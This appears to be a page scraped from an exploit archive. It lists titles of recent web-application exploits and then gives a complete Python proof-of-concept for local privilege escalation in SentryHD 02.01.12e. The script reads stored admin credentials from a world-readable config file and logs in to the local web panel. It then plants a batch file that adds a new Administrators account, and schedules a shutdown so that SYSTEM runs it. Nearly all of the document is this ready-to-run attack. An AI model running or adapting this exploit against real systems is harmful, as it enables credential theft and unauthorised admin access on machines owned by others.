ef112ace5d
27 new exploits SentryHD 02.01.12e - Privilege Escalation Linux/x86-64 - mkdir Shellcode (25 bytes) ownrs blog beta3 - SQL Injection / Cross-Site Scripting OwnRS blog beta3 - SQL Injection / Cross-Site Scripting Dodo's Quiz Script 1.1 - (dodosquiz.php) Local File Inclusion Dodo's Quiz Script 1.1 - Local File Inclusion Mambo Component SOBI2 RC 2.8.2 - (bid) SQL Injection Mambo Component SOBI2 RC 2.8.2 - SQL Injection Joomla! Component com_pcchess - (game_id) Blind SQL Injection Joomla! Component com_pcchess - Blind SQL Injection Medical Clinic Website Script - SQL Injection Fileserve Clone Script - Authentication Bypass Auction Website Script - SQL Injection Wetransfer Clone Script - Authentication Bypass Finance Website Script - SQL Injection Justdial Clone Script - Authentication Bypass Business Directory Script - SQL Injection Buy and Sell Market Place Software - SQL Injection Dentist Website Script - SQL Injection Manufacturer Website Design Script - SQL Injection Micro Blog Script - SQL Injection My Private Tutor Website Builder Script - SQL Injection NGO Directory Script - SQL Injection Yoga and Fitness Website Script - SQL Injection NGO Website Script - SQL Injection Questions and Answers Script 1.1.3 - SQL Injection Online Mobile Recharge Script - SQL Injection Clone of Oddee Script 1.1.3 - SQL Injection Online Printing Business Clone Script - SQL Injection Online Tshirt Design Script - SQL Injection Shiksha Educational Website Script - SQL Injection Study Abroad Educational Website Script - SQL Injection Courier Management System - SQL Injection Flippa Website Script - SQL Injection B2B Script 4.27 - SQL Injection
106 lines
No EOL
3.5 KiB
Python
Executable file
106 lines
No EOL
3.5 KiB
Python
Executable file
# Exploit Title: SentryHD 02.01.12e Privilege Escalation
|
|
# Date: 18-01-2017
|
|
# Software Link: http://www.minutemanups.com/
|
|
# Exploit Author: Kacper Szurek
|
|
# Contact: http://twitter.com/KacperSzurek
|
|
# Website: http://security.szurek.pl/
|
|
# Category: local
|
|
|
|
1. Description
|
|
|
|
Every user can read: c:\Program Files (x86)\SentryHD\config.ini.
|
|
|
|
Inside this ini file we can find login and password for web panel.
|
|
|
|
UPSMan is running on autostart as System.
|
|
|
|
Using Execute Command File we can execute commands on Scheduled system shutdown as System.
|
|
|
|
https://security.szurek.pl/sentryhd-020112e-privilege-escalation.html
|
|
|
|
2. Proof of Concept
|
|
|
|
import ConfigParser
|
|
import hashlib
|
|
import re
|
|
import urllib2
|
|
import urllib
|
|
from cookielib import CookieJar
|
|
import os
|
|
import datetime
|
|
import subprocess
|
|
import time
|
|
|
|
new_user_name = "hacked"
|
|
|
|
print "SentryHD 02.01.12e Privilege Escalation"
|
|
print "by Kacper Szurek"
|
|
print "http://security.szurek.pl/"
|
|
print "https://twitter.com/KacperSzurek"
|
|
|
|
config = ConfigParser.RawConfigParser()
|
|
config.read('c:\\Program Files (x86)\\SentryHD\\config.ini')
|
|
|
|
admin_user = config.get("Web", 'User0')
|
|
admin_password = config.get("Web", 'Password0')
|
|
|
|
print "[+] Find admin user: '{}' and password: '{}'".format(admin_user, admin_password)
|
|
|
|
cj = CookieJar()
|
|
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
|
|
|
|
challenge = re.search("\"Challenge\" value=\"(.*?)\"", opener.open("http://localhost/").read())
|
|
|
|
formdata = { "Username" : admin_user, "Password": admin_password, "Challenge" : challenge, "Response": hashlib.md5(admin_user+admin_password+challenge.group(1)).hexdigest()}
|
|
opener.open("http://localhost/delta/login", urllib.urlencode(formdata))
|
|
|
|
if "calcResponse()" in opener.open("http://localhost/home.asp").read():
|
|
print "[-] Failed to login"
|
|
os._exit(0)
|
|
|
|
bat_path = os.path.dirname(os.path.abspath(__file__))+"\\create_user.bat"
|
|
payload = open(bat_path, "w")
|
|
payload.write("net user {} /add\n".format(new_user_name))
|
|
payload.write("net localgroup Administrators {} /add".format(new_user_name))
|
|
payload.close()
|
|
|
|
print "[+] Create payload: {}".format(bat_path)
|
|
|
|
formdata = {"ACT_SHUT_TYPE":0, "ACT_UPS_DELAY":10, "ACT_PF_EN": "on", "ACT_OSD_PF":999, "ACT_BL_EN": "on", "ACT_OSD_BL":999, "ACT_SS_EN":"on","ACT_OSD_SS":999, "ACT_LS_EN":"on", "ACT_LS_DELAY":999, "SUB_SHUTDOWN":"Submit"}
|
|
opener.open("http://localhost/delta/mgnt_reaction", urllib.urlencode(formdata))
|
|
|
|
formdata = {"ACT_MSG_EN":1, "ACT_MSG_PERIOD":999, "ACT_CMD_EN":1, "ACT_CMD_FILE":bat_path, "ACT_CMD_BEFORE": 990, "SUB_REACTION":"Submit"}
|
|
opener.open("http://localhost/delta/mgnt_reaction", urllib.urlencode(formdata))
|
|
|
|
|
|
current_time = datetime.datetime.today()+datetime.timedelta(0,90)
|
|
shutdown_date = current_time.strftime('%m/%d/%Y')
|
|
shutdown_time = current_time.strftime('%H:%M')
|
|
|
|
formdata = {"SSH_SD1":shutdown_date, "SSH_TM1":shutdown_time, "SSH_ACT1":1}
|
|
opener.open("http://localhost/delta/mgnt_sschedule", urllib.urlencode(formdata))
|
|
|
|
print "[+] Set shutdown time: {} {}".format(shutdown_date, shutdown_time)
|
|
|
|
print "[+] Waiting for user creation"
|
|
i = 0
|
|
while True:
|
|
if i > 100:
|
|
print "[-] Exploit failed"
|
|
os._exit(0)
|
|
|
|
netuser, _ = subprocess.Popen("net users", stdout=subprocess.PIPE, stderr=None, shell=False).communicate()
|
|
|
|
if new_user_name in netuser:
|
|
break
|
|
|
|
print "." ,
|
|
time.sleep(2)
|
|
i += i
|
|
|
|
print "\n[+] Account created, cancel shutdown"
|
|
|
|
formdata = {"SHUT_CANCEL":"Cancel Countdown"}
|
|
opener.open("http://localhost/delta/mgnt_control", urllib.urlencode(formdata))
|
|
|
|
print "[+] OK" |